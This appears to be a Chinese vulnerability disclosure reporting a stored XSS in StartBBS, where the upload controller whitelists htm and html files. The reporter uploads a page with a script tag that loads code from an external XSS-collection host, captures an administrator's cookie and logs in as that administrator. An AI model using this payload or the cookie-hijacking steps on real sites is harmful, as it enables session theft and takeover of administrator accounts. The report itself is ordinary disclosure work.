### 简要描述:
startbbs某处设计不当导致存储型xss
### 详细说明:
之前提交了一个startbbs的存储型xss。
经过审查上传部分的代码,发现没有对恶意的html代码进行检测。
可以盲打管理人员。
\app\controllers\upload.php
代码:
```
public function qiniu()
{
//定义允许上传的文件扩展名
$ext_arr = array(
'image' => array('gif', 'jpg', 'jpeg', 'png','tiff'),
'media' => array('swf', 'flv', 'mp3', 'wav', 'wma', 'wmv', 'mid', 'avi', 'mpg', 'asf', 'rm', 'rmvb'),
'file' => array('doc', 'docx', 'xls', 'xlsx', 'ppt', 'htm', 'html', 'txt', 'zip', 'rar', 'gz', 'bz2'),
);
//省略若干行。。
```
我们可以看到,在file类型里头,用户允许上传htm,html格式的文件。给xss带来了很大的方便了。
本地测试:
构造一个存在包含`<script>alert(1)</script>`的页面,然后上传:
[<img src="https://images.seebug.org/upload/201312/28201656882c2e73d3460c5ebc480c1d357fe183.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/28201656882c2e73d3460c5ebc480c1d357fe183.jpg)
访问:
[<img src="https://images.seebug.org/upload/201312/28201731a2b0292777c2e9abfdaf1966b839255f.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/28201731a2b0292777c2e9abfdaf1966b839255f.jpg)
### 漏洞证明:
我们上传带有:
`<script src=http://xsserme.sinaapp.com/zBDEVk?1388232904></script>`
的htm页面。
当管理员访问我们上传好的htm页面之后:得到cookie
[<img src="https://images.seebug.org/upload/201312/28202046b767de789d4e21433a6e644df91382ed.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/28202046b767de789d4e21433a6e644df91382ed.jpg)
然后我们用管理员账户cookie登录(再次证明该bbs的存储型xss危害还是蛮大的):
[<img src="https://images.seebug.org/upload/201312/282022286932ab0a5bfe7cd3ce34a59d3a4d860c.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/282022286932ab0a5bfe7cd3ce34a59d3a4d860c.jpg)
暂无评论